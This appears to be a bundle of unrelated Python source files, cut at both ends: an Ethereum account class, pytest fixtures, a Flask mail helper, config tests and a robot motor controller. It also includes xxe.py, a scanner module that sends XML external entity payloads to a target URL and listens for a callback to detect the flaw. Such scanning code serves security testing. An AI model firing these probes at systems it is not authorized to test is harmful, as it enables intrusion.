exc.revert_type) receipt = TransactionReceipt( txid, self, required_confs=required_confs, name=contract._name + ".constructor", revert_data=revert_data, ) add_thread = threading.Thread(target=contract._add_from_tx, args=(receipt,), daemon=True) add_thread.start() if rpc.is_active(): undo_thread = threading.Thread( target=rpc._add_to_undo_buffer, args=( receipt, self.deploy, (contract, *args), {"amount": amount, "gas_limit": gas_limit, "gas_price": gas_price}, ), daemon=True, ) undo_thread.start() if receipt.status != 1: receipt._raise_if_reverted(exc) return receipt add_thread.join() try: return contract.at(receipt.contract_address) except ContractNotFound: # if the contract self-destructed during deployment return receipt def estimate_gas(self, to: "Accounts" = None, amount: int = 0, data: str = None) -> int: """Estimates the gas cost for a transaction. Raises VirtualMachineError if the transaction would revert. Args: to: Account instance or address string of transaction recipient. amount: Amount of ether to send in wei. data: Transaction data hexstring. Returns: Estimated gas value in wei.""" try: return web3.eth.estimateGas( { "from": self.address, "to": str(to) if to else None, "value": Wei(amount), "data": HexBytes(data or ""), } ) except ValueError: if CONFIG.active_network["settings"]["reverting_tx_gas_limit"]: return CONFIG.active_network["settings"]["reverting_tx_gas_limit"] raise def transfer( self, to: "Accounts" = None, amount: int = 0, gas_limit: Optional[int] = None, gas_price: Optional[int] = None, data: str = None, nonce: Optional[int] = None, required_confs: int = 1, silent: bool = False, ) -> "TransactionReceipt": """ Broadcast a transaction from this account. Kwargs: to: Account instance or address string to transfer to. amount: Amount of ether to send, in wei. gas_limit: Gas limit of the transaction. gas_price: Gas price of the transaction. nonce: Nonce to use for the transaction. data: Hexstring of data to include in transaction. silent: Toggles console verbosity. Returns: TransactionReceipt object """ with self._lock: tx = { "from": self.address, "value": Wei(amount), "nonce": nonce if nonce is not None else self._pending_nonce(), "gasPrice": Wei(gas_price) if gas_price is not None else self._gas_price(), "gas": Wei(gas_limit) or self._gas_limit(to, amount, data), "data": HexBytes(data or ""), } if to: tx["to"] = to_address(str(to)) try: txid = self._transact(tx) # type: ignore exc, revert_data = None, None except ValueError as e: exc = VirtualMachineError(e) if not hasattr(exc, "txid"): raise exc from None txid = exc.txid revert_data = (exc.revert_msg, exc.pc, exc.revert_type) receipt = TransactionReceipt( txid, self, required_confs=required_confs, silent=silent, revert_data=revert_data ) if rpc.is_active(): undo_thread = threading.Thread( target=rpc._add_to_undo_buffer, args=(receipt, self.transfer, (to, amount, gas_limit, gas_price, data, None), {}), daemon=True, ) undo_thread.start() receipt._raise_if_reverted(exc) return receipt class Account(_PrivateKeyAccount): """Class for interacting with an Ethereum account. Attributes: address: Public address of the account. nonce: Current nonce of the account.""" def _transact(self, tx: Dict) -> Any: self._check_for_revert(tx) return web3.eth.sendTransaction(tx) class LocalAccount(_PrivateKeyAccount): """Class for interacting with an Ethereum account. Attributes: address: Public address of the account. nonce: Current nonce of the account. private_key: Account private key. public_key: Account public key.""" def __init__(self, address: str, account: Account, priv_key: Union[int, bytes, str]) -> None: self._acct = account if not isinstance(priv_key, str): priv_key = HexBytes(priv_key).hex() self.private_key = priv_key self.public_key = eth_keys.keys.PrivateKey(HexBytes(priv_key)).public_key super().__init__(address) def save(self, filename: str, overwrite: bool = False) -> str: """Encrypts the private key and saves it in a keystore json. Attributes: filename: path to keystore file. If no folder is given, saved in ~/.brownie/accounts overwrite: if True, will overwrite an existing file. Returns the absolute path to the keystore file as a string. """ path = _get_data_folder().joinpath("accounts") path.mkdir(exist_ok=True) filename = str(filename) if not filename.endswith(".json"): filename += ".json" if not any(i in r"\/" for i in filename): json_file = path.joinpath(filename).resolve() else: json_file = Path(filename).expanduser().resolve() if not overwrite and json_file.exists(): raise FileExistsError("Account with this identifier already exists") encrypted = web3.eth.account.encrypt( self.private_key, getpass("Enter the password to encrypt this account with: ") ) with json_file.open("w") as fp: json.dump(encrypted, fp) return str(json_file) def _transact(self, tx: Dict) -> None: self._check_for_revert(tx) signed_tx = self._acct.sign_transaction(tx).rawTransaction # type: ignore return web3.eth.sendRawTransaction(signed_tx)
conftest.py
# -*- coding: utf-8 -*- from __future__ import unicode_literals import os import curses import logging import threading from functools import partial import pytest from vcr import VCR from six.moves.urllib.parse import urlparse, parse_qs from rtv.oauth import OAuthHelper, OAuthHandler, OAuthHTTPServer from rtv.content import RequestHeaderRateLimiter from rtv.config import Config from rtv.packages import praw from rtv.terminal import Terminal from rtv.subreddit_page import SubredditPage from rtv.submission_page import SubmissionPage from rtv.subscription_page import SubscriptionPage try: from unittest import mock except ImportError: import mock # Turn on autospec by default for convenience patch = partial(mock.patch, autospec=True) # Turn on logging, but disable vcr from spamming logging.basicConfig( level=logging.DEBUG, format='%(asctime)s:%(levelname)s:%(filename)s:%(lineno)d:%(message)s') for name in ['vcr.matchers', 'vcr.stubs']: logging.getLogger(name).disabled = True def pytest_addoption(parser): parser.addoption('--record-mode', dest='record_mode', default='none') parser.addoption('--refresh-token', dest='refresh_token', default='~/.local/share/rtv/refresh-token') class MockStdscr(mock.MagicMock): """ Extend mock to mimic curses.stdscr by keeping track of the terminal coordinates and allowing for the creation of subwindows with the same properties as stdscr. """ def getyx(self): return self.y, self.x def getbegyx(self): return 0, 0 def getmaxyx(self): return self.nlines, self.ncols def derwin(self, *args): """ derwin() derwin(begin_y, begin_x) derwin(nlines, ncols, begin_y, begin_x) """ if 'subwin' not in dir(self): self.attach_mock(MockStdscr(), 'subwin') if len(args) == 0: nlines = self.nlines ncols = self.ncols elif len(args) == 2: nlines = self.nlines - args[0] ncols = self.ncols - args[1] else: nlines = min(self.nlines - args[2], args[0]) ncols = min(self.ncols - args[3], args[1]) self.subwin.nlines = nlines self.subwin.ncols = ncols self.subwin.x = 0 self.subwin.y = 0 return self.subwin @pytest.fixture(scope='session') def vcr(request): def auth_matcher(r1, r2): return (r1.headers.get('authorization') == r2.headers.get('authorization')) def uri_with_query_matcher(r1, r2): "URI matcher that allows query params to appear in any order" p1, p2 = urlparse(r1.uri), urlparse(r2.uri) return (p1[:3] == p2[:3] and parse_qs(p1.query, True) == parse_qs(p2.query, True)) # Use `none` to use the recorded requests, and `once` to delete existing # cassettes and re-record. record_mode = request.config.option.record_mode assert record_mode in ('once', 'none') cassette_dir = os.path.join(os.path.dirname(__file__), 'cassettes') if not os.path.exists(cassette_dir): os.makedirs(cassette_dir) # https://github.com/kevin1024/vcrpy/pull/196 vcr = VCR( record_mode=request.config.option.record_mode, filter_headers=[('Authorization', '**********')], filter_post_data_parameters=[('refresh_token', '**********')], match_on=['method', 'uri_with_query', 'auth', 'body'], cassette_library_dir=cassette_dir) vcr.register_matcher('auth', auth_matcher) vcr.register_matcher('uri_with_query', uri_with_query_matcher) return vcr @pytest.fixture(scope='session') def refresh_token(request): if request.config.option.record_mode == 'none': return 'mock_refresh_token' else: return open(request.config.option.refresh_token).read() @pytest.yield_fixture() def config(): conf = Config() with mock.patch.object(conf, 'save_history'), \ mock.patch.object(conf, 'delete_history'), \ mock.patch.object(conf, 'save_refresh_token'), \ mock.patch.object(conf, 'delete_refresh_token'): def delete_refresh_token(): # Skip the os.remove conf.refresh_token = None conf.delete_refresh_token.side_effect = delete_refresh_token yield conf @pytest.yield_fixture() def stdscr(): with patch('curses.initscr'), \ patch('curses.echo'), \ patch('curses.flash'), \ patch('curses.endwin'), \ patch('curses.newwin'), \ patch('curses.noecho'), \ patch('curses.cbreak'), \ patch('curses.doupdate'), \ patch('curses.nocbreak'), \ patch('curses.curs_set'), \ patch('curses.init_pair'), \ patch('curses.color_pair'), \ patch('curses.has_colors'), \ patch('curses.start_color'), \ patch('curses.use_default_colors'): out = MockStdscr(nlines=40, ncols=80, x=0, y=0) curses.initscr.return_value = out curses.newwin.side_effect = lambda *args: out.derwin(*args) curses.color_pair.return_value = 23 curses.has_colors.return_value = True curses.ACS_VLINE = 0 curses.COLORS = 256 curses.COLOR_PAIRS = 256 yield out @pytest.yield_fixture() def reddit(vcr, request): cassette_name = '%s.yaml' % request.node.name # Clear the cassette before running the test if request.config.option.record_mode == 'once': filename = os.path.join(vcr.cassette_library_dir, cassette_name) if os.path.exists(filename): os.remove(filename) with vcr.use_cassette(cassette_name): with patch('rtv.packages.praw.Reddit.get_access_information'): handler = RequestHeaderRateLimiter() reddit = praw.Reddit(user_agent='rtv test suite', decode_html_entities=False, disable_update_check=True, handler=handler) # praw uses a global cache for requests, so we need to clear it # before each unit test. Otherwise we may fail to generate new # cassettes. reddit.handler.clear_cache() if request.config.option.record_mode == 'none': # Turn off praw rate limiting when using cassettes reddit.config.api_request_delay = 0 yield reddit @pytest.fixture() def terminal(stdscr, config): term = Terminal(stdscr, config=config) term.set_theme() # Disable the python 3.4 addch patch so that the mock stdscr calls are # always made the same way term.addch = lambda window, *args: window.addch(*args) return term @pytest.fixture() def oauth(reddit, terminal, config): return OAuthHelper(reddit, terminal, config) @pytest.yield_fixture() def oauth_server(): # Start the OAuth server on a random port in the background server = OAuthHTTPServer(('', 0), OAuthHandler) server.url = 'http://{0}:{1}/'.format(*server.server_address) thread = threading.Thread(target=server.serve_forever) thread.start() try: yield server finally: server.shutdown() thread.join() server.server_close() @pytest.fixture() def submission_page(reddit, terminal, config, oauth): submission = 'https://www.reddit.com/r/Python/comments/2xmo63' with terminal.loader(): page = SubmissionPage(reddit, terminal, config, oauth, url=submission) assert terminal.loader.exception is None page.draw() return page @pytest.fixture() def subreddit_page(reddit, terminal, config, oauth): subreddit = '/r/python' with terminal.loader(): page = SubredditPage(reddit, terminal, config, oauth, subreddit) assert not terminal.loader.exception page.draw() return page @pytest.fixture() def subscription_page(reddit, terminal, config, oauth): content_type = 'popular' with terminal.loader(): page = SubscriptionPage(reddit, terminal, config, oauth, content_type) assert terminal.loader.exception is None page.draw() return page
xxe.py
import socket import sys import argparse import requests import threading import time import hashlib import os import modules.sendrequest as req import utils.logger as logger import utils.logs as logs from utils.db import Database_update dbupdate = Database_update() # Dummy response data = b'''\ HTTP/1.1 200 OK\r\n\ Connection: close\r\n\ Content-Type: text/html\r\n\ Content-Length: 6\r\n\ \r\n\ Hello!\ ''' class xxe_scan: def __init__(self): self.port = 1111 self.host = socket.gethostbyname(socket.gethostname()) def generate_hash(self): return hashlib.md5(str(time.time())).hexdigest() def start_server(self): self.s = socket.socket() try: self.s.bind((self.host, self.port)) logs.logging.info("XXE: Server started.") return True except socket.error: logs.logging.info("XXE: Can't bind to port. Port may be busy or check firewall setting.") def start_listening(self): global vulnerable vulnerable = False try: while True: # Wait for 5 seconds self.s.listen(5) self.conn, self.addr = self.s.accept() self.data = self.conn.recv(1024) if self.data and unique_id in self.data: #External DTD is enable. URL is suspecious to XXE self.conn.sendall(data) vulnerable = True self.conn.close() except socket.error: print("[-]URL might not be vulnerable to XXE. We reccomend you to check it manually") self.conn.close() def fetch_xxe_payload(self): # Returns xxe payloads in list type payload_list = [] if os.getcwd().split('/')[-1] == 'API': path = '../Payloads/xxe.txt' else: path = 'Payloads/xxe.txt' with open(path) as f: for line in f: if line: payload_list.append(line.rstrip()) return payload_list def send_request(self,url,method,temp_headers,xxe_payloads,scanid=None): # Test if if server is accepiting XML data sample_xml = '''<?xml version="1.0" encoding="UTF-8"?><text>hello world</text>''' xml_request = requests.post(url, headers=temp_headers, data=sample_xml) if xml_request.status_code == 415: # Media type not supported. return global unique_id unique_id = self.generate_hash() host = "http://"+str(self.host)+": "+str(self.port)+"/"+unique_id for payload in xxe_payloads: payload = payload.replace("{host}",host) xxe_request = requests.post(url, headers=temp_headers, data=payload) time.sleep(10) if vulnerable is True: print("[+]{0} is vulnerable to XML External Entity Attack".format(url)) attack_result = { "id": 14, "scanid": scanid, "url": url, "alert": "XML External Entity Attack", "impact": "High", "req_headers": temp_headers, "req_body": payload, "res_headers": xxe_request.headers ,"res_body": xxe_request.text} dbupdate.insert_record(attack_result) break def xxe_test(self,url,method,headers,body,scanid=None): temp_headers = {} temp_headers.update(headers) xxe = xxe_scan() socketresult = xxe.start_server() if socketresult is True: t = threading.Thread(target=xxe.start_listening) t.daemon = True t.start() temp_headers['Content-Type'] = 'text/xml' xxe_payloads = self.fetch_xxe_payload() self.send_request(url,method,temp_headers,xxe_payloads,scanid)
email.py
from flask_mail import Message from flask import current_app, render_template from threading import Thread from . import mail def send_mail(to,subject,template,**kwargs): app = current_app._get_current_object() msg = Message(current_app.config['FLASKY_MAIL_PREFIX'] + subject, sender=app.config['MAIL_USERNAME'], recipients=[to]) msg.body = render_template(template + '.txt', **kwargs) msg.html = render_template(template + '.html', **kwargs) thr = Thread(target=send_async_email, args=[app, msg]) thr.start() return thr def send_async_email(app, msg): with app.app_context(): mail.send(msg)
test_config.py
import asyncio import copy import pytest import random import yaml from mint.util.config import create_default_mint_config, initial_config_file, load_config, save_config from mint.util.path import mkdir from multiprocessing import Pool from pathlib import Path from threading import Thread from time import sleep from typing import Dict # Commented-out lines are preserved to aide in debugging the multiprocessing tests # import logging # import os # import threading # log = logging.getLogger(__name__) def write_config(root_path: Path, config: Dict): """ Wait for a random amount of time and write out the config data. With a large config, we expect save_config() to require multiple writes. """ sleep(random.random()) # log.warning(f"[pid:{os.getpid()}:{threading.get_ident()}] write_config") # save_config(root_path=root_path, filename="config.yaml", config_data=modified_config) save_config(root_path=root_path, filename="config.yaml", config_data=config) def read_and_compare_config(root_path: Path, default_config: Dict): """ Wait for a random amount of time, read the config and compare with the default config data. If the config file is partially-written or corrupt, load_config should fail or return bad data """ # Wait a moment. The read and write threads are delayed by a random amount # in an attempt to interleave their execution. sleep(random.random()) # log.warning(f"[pid:{os.getpid()}:{threading.get_ident()}] read_and_compare_config") config: Dict = load_config(root_path=root_path, filename="config.yaml") assert len(config) > 0 # if config != default_config: # log.error(f"[pid:{os.getpid()}:{threading.get_ident()}] bad config: {config}") # log.error(f"[pid:{os.getpid()}:{threading.get_ident()}] default config: {default_config}") assert config == default_config async def create_reader_and_writer_tasks(root_path: Path, default_config: Dict): """ Spin-off reader and writer threads and wait for completion """ thread1 = Thread(target=write_config, kwargs={"root_path": root_path, "config": default_config}) thread2 = Thread(target=read_and_compare_config, kwargs={"root_path": root_path, "default_config": default_config}) thread1.start() thread2.start() thread1.join() thread2.join() def run_reader_and_writer_tasks(root_path: Path, default_config: Dict): """ Subprocess entry point. This function spins-off threads to perform read/write tasks concurrently, possibly leading to synchronization issues accessing config data. """ asyncio.get_event_loop().run_until_complete(create_reader_and_writer_tasks(root_path, default_config)) class TestConfig: @pytest.fixture(scope="function") def root_path_populated_with_config(self, tmpdir) -> Path: """ Create a temp directory and populate it with a default config.yaml. Returns the root path containing the config. """ root_path: Path = Path(tmpdir) create_default_mint_config(root_path) return Path(root_path) @pytest.fixture(scope="function") def default_config_dict(self) -> Dict: """ Returns a dictionary containing the default config.yaml contents """ content: str = initial_config_file("config.yaml") config: Dict = yaml.safe_load(content) return config def test_create_config_new(self, tmpdir): """ Test create_default_mint_config() as in a first run scenario """ # When: using a clean directory root_path: Path = Path(tmpdir) config_file_path: Path = root_path / "config" / "config.yaml" # Expect: config.yaml doesn't exist assert config_file_path.exists() is False # When: creating a new config create_default_mint_config(root_path) # Expect: config.yaml exists assert config_file_path.exists() is True expected_content: str = initial_config_file("config.yaml") assert len(expected_content) > 0 with open(config_file_path, "r") as f: actual_content: str = f.read() # Expect: config.yaml contents are seeded with initial contents assert actual_content == expected_content def test_create_config_overwrite(self, tmpdir): """ Test create_default_mint_config() when overwriting an existing config.yaml """ # When: using a clean directory root_path: Path = Path(tmpdir) config_file_path: Path = root_path / "config" / "config.yaml" mkdir(config_file_path.parent) # When: config.yaml already exists with content with open(config_file_path, "w") as f: f.write("Some config content") # Expect: config.yaml exists assert config_file_path.exists() is True # When: creating a new config create_default_mint_config(root_path) # Expect: config.yaml exists assert config_file_path.exists() is True expected_content: str = initial_config_file("config.yaml") assert len(expected_content) > 0 with open(config_file_path, "r") as f: actual_content: str = f.read() # Expect: config.yaml contents are overwritten with initial contents assert actual_content == expected_content def test_load_config(self, root_path_populated_with_config, default_config_dict): """ Call load_config() with a default config and verify a few values are set to the expected values """ root_path: Path = root_path_populated_with_config # When: loading a newly created config config: Dict = load_config(root_path=root_path, filename="config.yaml") assert config is not None # Expect: config values should match the defaults (from a small sampling) assert config["daemon_port"] == default_config_dict["daemon_port"] == 59300 assert config["self_hostname"] == default_config_dict["self_hostname"] == "localhost" assert ( config["farmer"]["network_overrides"]["constants"]["mainnet"]["GENESIS_CHALLENGE"] == default_config_dict["farmer"]["network_overrides"]["constants"]["mainnet"]["GENESIS_CHALLENGE"] == "ccd5bb71183532bff220ba46c268991a3ff07eb358e8255a65c30a2dce0e5fbb" ) def test_load_config_exit_on_error(self, tmpdir): """ Call load_config() with an invalid path. Behavior should be dependent on the exit_on_error flag. """ root_path: Path = tmpdir config_file_path: Path = root_path / "config" / "config.yaml" # When: config file path points to a directory mkdir(config_file_path) # When: exit_on_error is True # Expect: load_config will exit with pytest.raises(SystemExit): _ = load_config(root_path=root_path, filename=config_file_path, exit_on_error=True) # When: exit_on_error is False # Expect: load_config will raise an exception with pytest.raises(ValueError): _ = load_config(root_path=root_path, filename=config_file_path, exit_on_error=False) def test_save_config(self, root_path_populated_with_config, default_config_dict): """ Test modifying the config and saving it to disk. The modified value(s) should be present after calling load_config(). """ root_path: Path = root_path_populated_with_config config: Dict = copy.deepcopy(default_config_dict) # When: modifying the config config["harvester"]["farmer_peer"]["host"] = "oldmacdonald.eie.io" # Sanity check that we didn't modify the default config assert config["harvester"]["farmer_peer"]["host"] != default_config_dict["harvester"]["farmer_peer"]["host"] # When: saving the modified config save_config(root_path=root_path, filename="config.yaml", config_data=config) # Expect: modifications should be preserved in the config read from disk loaded: Dict = load_config(root_path=root_path, filename="config.yaml") assert loaded["harvester"]["farmer_peer"]["host"] == "oldmacdonald.eie.io" def test_multiple_writers(self, root_path_populated_with_config, default_config_dict): """ Test whether multiple readers/writers encounter data corruption. When using non-atomic operations to write to the config, partial/incomplete writes can cause readers to yield bad/corrupt data. Access to config.yaml isn't currently synchronized, so the best we can currently hope for is that the file contents are written-to as a whole. """ # Artifically inflate the size of the default config. This is done to (hopefully) force # save_config() to require multiple writes. When save_config() was using shutil.move() # multiple writes were observed, leading to read failures when data was partially written. default_config_dict["xyz"] = "x" * 32768 root_path: Path = root_path_populated_with_config save_config(root_path=root_path, filename="config.yaml", config_data=default_config_dict) num_workers: int = 30 args = list(map(lambda _: (root_path, default_config_dict), range(num_workers))) # Spin-off several processes (not threads) to read and write config data. If any # read failures are detected, the failing process will assert. with Pool(processes=num_workers) as pool: res = pool.starmap_async(run_reader_and_writer_tasks, args) res.get(timeout=10)
control_robo.py
import RPi.GPIO as GPIO import time import read_RPM import threading import setup_robo import sys import multiprocessing from Gyro_new import Gyro #from mpu6050 import mpu6050 class Control_robo: def __init__(self, encoder_1, encoder_2, SAMPLE_TIME, motor_1, motor_2): self.encoder_1 = encoder_1 ## LEFT ENCODER self.encoder_2 = encoder_2 ## RIGHT ENCODER ### RPM DATA TO USE ON PID self.RPM_1 = 0 self.RPM_2 = 0 self.SAMPLE_TIME = SAMPLE_TIME self.motor_1 = motor_1 ##LEFT MOTOR self.motor_2 = motor_2 ##RIGHT MOTOR ## SETUP PWM self.p = GPIO.PWM(self.motor_1.enable, 1000) self.p2 = GPIO.PWM(self.motor_2.enable, 1000) self.p.start(25) self.p2.start(25) ## SETUP START DUTY VALUES self.duty_1_value = 15 self.duty_2_value = 15 #self.TARGET = 80 # USE ONLY WITH PID ENCODER CONTROL ## SETUP INITIAL TARGETS TO RPM self.TARGET_1 = 80 #USE WITH PID ENCODER + GYRO CONTROL (DONT CHANGE WITH TIME) self.TARGET_2 = 80 #USE WITH PID ENCODER + GYRO CONTROL (THIS CHANGES WITH TIME) ## SETUP INITIAL TARGET TO GYRO self.TARGET_ANGLE = 0 # USE WITH PID ENCODER + GYRO CONTROL self.angle_z = 0 #VARIABLE WITH GYRO READ DATA self.select = 'p' self.gyro = Gyro() self.gyro.calibration() self.focus = 0 def background_2(self): def run_2(self): ## CREATE THREAD TO READ IMU DATA print("Starting Thread 1") thread_gyro = threading.Thread(target = gyro_read, args = (self,)) thread_gyro.daemon = True thread_gyro.start() ## CREAT THREAD TO READ ENCODERS DATA print("Starting Thread 2") thread_RPM = threading.Thread(target = rpm_read, args = (self,)) thread_RPM.daemon = True thread_RPM.start() ### CREATE THREAD TO PID CONTROL print("Starting Thread 3") thread_PID = threading.Thread(target = pid_angle, args =(self,)) thread_PID.daemon = True thread_PID.start() def rpm_read(self): while True: self.RPM_1 = self.encoder_1.RPM() self.RPM_2 = self.encoder_2.RPM() #time.sleep(SAMPLE_TIME/100) ## define the refresh rate to read RPM def gyro_read(self): ## THE REFRESH RATE ALREADY IS ON GYRO CLASS (DONT CHANGE THE RATE) while True: angle_data = self.gyro.reading() self.angle_z = angle_data['z'] ''' angle_x = angle_data['x'] angle_y = angle_data['y'] print("ANGLE DATA Z: ",self.angle_z) print("ANGLE DATA x: ", angle_x) print("ANGLE DATA Y: ", angle_y) ''' ##REFRESH Z AXIS GYRO DATA WITH GYRO READ FREQUENCY ## aumentar frequencia do gyro ja que agora estamos usando thread independente? TESTAR ## CRIAR UMA THREAD TAMBEM PARA O RPM_READ?? talvez seja interessante ## uma thread para o controle pid e focus, outra pro read rpm e outra pro read gyro ## isso causaria interferencia de frequencias ou melhoraria o desempenho?? ## o read_rpm tem uma frequencia, o gyro outra e o PID pode ser otimizado deixando-as separadas? def pid_angle(self): #KI MELHORES VALORES ATE AGORA ''' KP = 0.0032 KD = 0.0008 KI = 0.00002 ''' error_prev = 0 sum_z = 0 ## PID RPM DATA KPr = 0.05 KDr = 0.03 KIr = 0.0005 e1_prev = 0 e2_prev = 0 e1_sum = 0 e2_sum = 0 while True: ## CALCULATE ERROR FOR ANGLE DATA ## USES GLOBAL ANGLE READ AT READ_THREAD error_z = self.TARGET_ANGLE - self.angle_z ##ERROR NEGATIVO DOBRANDO PRA DIREITA diff_z = (error_z - error_prev)/0.02 ## CHANGE THIS VALUE OF TIME IF CHANGE SAMPLE RATE print("error: ", error_z) ## CALL FOCUS FUNCTION TO FIND THE WAY IF TOO LOST ''' if error_z > 35 or error_z < -35: focus(self) ''' ## when here this thread stops the pid control to work at focus, is this a problem?? ## quando sair daqui tem que voltar a condição de output de cada motor ## com o duty que tava ## CALL DIRECTION FUNCTION WITH PID TO ANGLE CONTROL direction(self, error_z, diff_z, sum_z) self.TARGET_2 = max(min(250, self.TARGET_2), 50) ## CALCULATE ERROR FOR RPM DATA if self.RPM_1 < 600: RPM_1_error = self.TARGET_1 - self.RPM_1 ##WILL TRY TO BE ARROUND 100 e1_diff = (RPM_1_error - e1_prev) ## DERIVATIVE ERROR if self.RPM_2 < 600: RPM_2_error = self.TARGET_2 - self.RPM_2 ##WILL TRY TO STABILIZE ANGLE e2_diff = (RPM_2_error - e2_prev) ##DERIVATIVE ERROR FOR RPM #e1_diff = (RPM_1_error - e1_prev) #e2_diff = (RPM_2_error - e2_prev) if self.select in ('w', 's', 't', 'y', 'h','l','m'): self.duty_1_value = self.duty_1_value + (RPM_1_error * KPr) + (e1_diff * KDr) + (e1_sum * KIr) self.duty_2_value = self.duty_2_value + (RPM_2_error * KPr) + (e2_diff * KDr) + (e2_sum * KIr) if self.select == 'p': self.duty_1_value = 10 self.duty_2_value = 10 self.duty_1_value = max(min(100,self.duty_1_value), 0) self.duty_2_value = max(min(100,self.duty_2_value),0) print("RPM 1: ", self.RPM_1) print("RPM 2: ", self.RPM_2) print("\n") print("DUTY VALUE: ", self.duty_1_value) print("DUTY VALUE 2: ", self.duty_2_value) print("\n") print("SOMA: ", round(sum_z,3)) print("DIFF: ", round(diff_z,3)) print("\n") print("TARGET 2: ", self.TARGET_2) print("TARGET 1: ", self.TARGET_1) print("\n") print("ERRO ENCODER 1: ", RPM_1_error) print("ERRO ENCODER 2: ", RPM_2_error) print("#####################") ## CHANGE DUTY CYCLE VALUES self.p.ChangeDutyCycle(self.duty_1_value) self.p2.ChangeDutyCycle(self.duty_2_value) time.sleep(self.SAMPLE_TIME) ## refresh rate to PID control ## changing this rate may change the values of de constantes KP, KI, KD if self.select != 'p': error_prev = error_z sum_z += error_z ## ENCODERS NEW ERRORS DATA e1_prev = RPM_1_error e2_prev = RPM_2_error e1_sum += RPM_1_error e2_sum += RPM_2_error def direction(self, error_z, diff_z, sum_z): ## PID ANGLE DATA KP = 0.0032 KD = 0.0008 KI = 0.00002 #### REFAZER OS TESTES DE DIREÇÃO NO BACKWARD PORQUE EU PERDI O ARQUIVO QUE TAVA CERTO if self.select == 'w': if error_z > 0 and self.TARGET_2 > 80: self.TARGET_2 = self.TARGET_1 - (error_z * KP) - (diff_z * KD) #- (sum_z * KI) #DISCART SUM TO TRANSITIONS print("codiçao 1") elif error_z > 0 and self.TARGET_2 <= 80: self.TARGET_2 = self.TARGET_2 - (error_z * KP) - (diff_z * KD) - (sum_z * KI) print("condicao 2") elif error_z < 0 and self.TARGET_2 <= 80: self.TARGET_2 = self.TARGET_1 - (error_z * KP) - (diff_z * KD) #- (sum_z * KI) #DISCART SUM TO TRANSITIONS print("condicao 3") elif error_z < 0 and self.TARGET_2 > 80: self.TARGET_2 = self.TARGET_2 - (error_z * KP) - (diff_z * KD) - (sum_z * KI) print("condicao 4") if self.select == 's': if error_z > 0 and self.TARGET_2 <= 80: self.TARGET_2 = self.TARGET_1 + (error_z * KP) + (diff_z * KD) #- (sum_z * KI) #DISCART SUM TO TRANSITIONS print("codiçao 1") elif error_z > 0 and self.TARGET_2 > 80: self.TARGET_2 = self.TARGET_2 + (error_z * KP) + (diff_z * KD) + (sum_z * KI) print("condicao 2") elif error_z < 0 and self.TARGET_2 > 80: self.TARGET_2 = self.TARGET_1 + (error_z * KP) + (diff_z * KD) #- (sum_z * KI) #DISCART SUM TO TRANSITIONS print("condicao 3") elif error_z < 0 and self.TARGET_2 <= 80: self.TARGET_2 = self.TARGET_2 + (error_z * KP) + (diff_z * KD) + (sum_z * KI) print("condicao 4") def focus(self): ########### STOP ALL MOTORS ########## GPIO.output(self.motor_1.in1, GPIO.LOW) GPIO.output(self.motor_1.in2, GPIO.LOW) ##RIGHT MOTOR GPIO.output(self.motor_2.in1, GPIO.LOW) GPIO.output(self.motor_2.in2, GPIO.LOW) ## CHANGE DUTY OF BOTH MOTORS TO MOTOR 1 DUTY (duty to 80rpm +-) self.p.ChangeDutyCycle(self.duty_1_value) self.p2.ChangeDutyCycle(self.duty_1_value) ## READ GYRO DATA AND TURN A LITTLE BIT TO THE RIGHT ## PROCURA FICAR ENTRE O TARGET_ANGLE -10 E TARGET_ANGLE + 10 (20 graus de range) while self.angle_z < self.TARGET_ANGLE-10 or self.angle_z >self.TARGET_ANGLE+10: ## LEFT MOTOR FORWARD GPIO.output(self.motor_1.in1, GPIO.HIGH) GPIO.output(self.motor_1.in2, GPIO.LOW) ## RIGHT MOTOR BACKWARD GPIO.output(self.motor_1.in1, GPIO.LOW) GPIO.output(self.motor_1.in2, GPIO.HIGH) time.sleep(1.5) ## sleep 1.5 seconds ## STOP ALL MOTORS AGAIN GPIO.output(self.motor_1.in1, GPIO.LOW) GPIO.output(self.motor_1.in2, GPIO.LOW) GPIO.output(self.motor_2.in1, GPIO.LOW) GPIO.output(self.motor_2.in2, GPIO.LOW) time.sleep(1.5) ## sleep for 1.5 seconds again ## criar condição pra retomar os motores com HIGH e LOW da ultima seleçao de direção ## VER COMO FAZER AS CONDIÇÕES SEM TER QUE FAZER MIL IFS IGUAIS AOS LA DE BAIXO ## se tiver que usar os ifs é só copiar os ifs da thread principal de direçao run_2(self) def set_speed(self, x): temp1 = 1 self.select = x if x == 'r': print("run") if (temp1 == 1): ##LEFT MOTOR GPIO.output(self.motor_1.in1, GPIO.HIGH) GPIO.output(self.motor_1.in2, GPIO.LOW) ##RIGHT MOTOR GPIO.output(self.motor_2.in1, GPIO.HIGH) GPIO.output(self.motor_2.in2, GPIO.LOW) print("forward") x = 'z' else: ##LEFT MOTOR GPIO.output(self.motor_1.in1, GPIO.LOW) GPIO.output(self.motor_1.in2, GPIO.HIGH) ##RIGHT MOTOR GPIO.output(self.motor_2.in1, GPIO.LOW) GPIO.output(self.motor_2.in2, GPIO.HIGH) print("backward") temp1 = 0 x = 'z' elif x == 'p': print("stop") ##LEFT MOTOR GPIO.output(self.motor_1.in1, GPIO.LOW) GPIO.output(self.motor_1.in2, GPIO.LOW) ##RIGHT MOTOR GPIO.output(self.motor_2.in1, GPIO.LOW) GPIO.output(self.motor_2.in2, GPIO.LOW) self.duty_1_value = 10 self.duty_2_value = 10 self.select = 'p' x='z' elif x == 'w': #print("forward") #self.gyro.calibration() self.duty_1_value = self.duty_1_value self.duty_2_value = self.duty_2_value ##LEFT MOTOR GPIO.output(self.motor_1.in1, GPIO.HIGH) GPIO.output(self.motor_1.in2, GPIO.LOW) ##RIGHT MOTOR GPIO.output(self.motor_2.in1, GPIO.HIGH) GPIO.output(self.motor_2.in2, GPIO.LOW) temp1 = 1 x = 'z' self.select = 'w' elif x == 's': print("backward") #self.gyro.calibration() self.duty_1_value = self.duty_1_value self.duty_2_value = self.duty_2_value ##LEFT MOTOR GPIO.output(self.motor_1.in1, GPIO.LOW) GPIO.output(self.motor_1.in2, GPIO.HIGH) ##RIGHT MOTOR GPIO.output(self.motor_2.in1, GPIO.LOW) GPIO.output(self.motor_2.in2, GPIO.HIGH) temp1 = 0 x = 's' self.select = 's' elif x == 'd': print("turn right") ##LEFT MOTOR GPIO.output(self.motor_1.in1, GPIO.HIGH) GPIO.output(self.motor_1.in2, GPIO.LOW) ##RIGHT MOTOR GPIO.output(self.motor_2.in1, GPIO.LOW) GPIO.output(self.motor_2.in2, GPIO.LOW) x='z' elif x == 'a': print("turn left") ##LEFT MOTOR 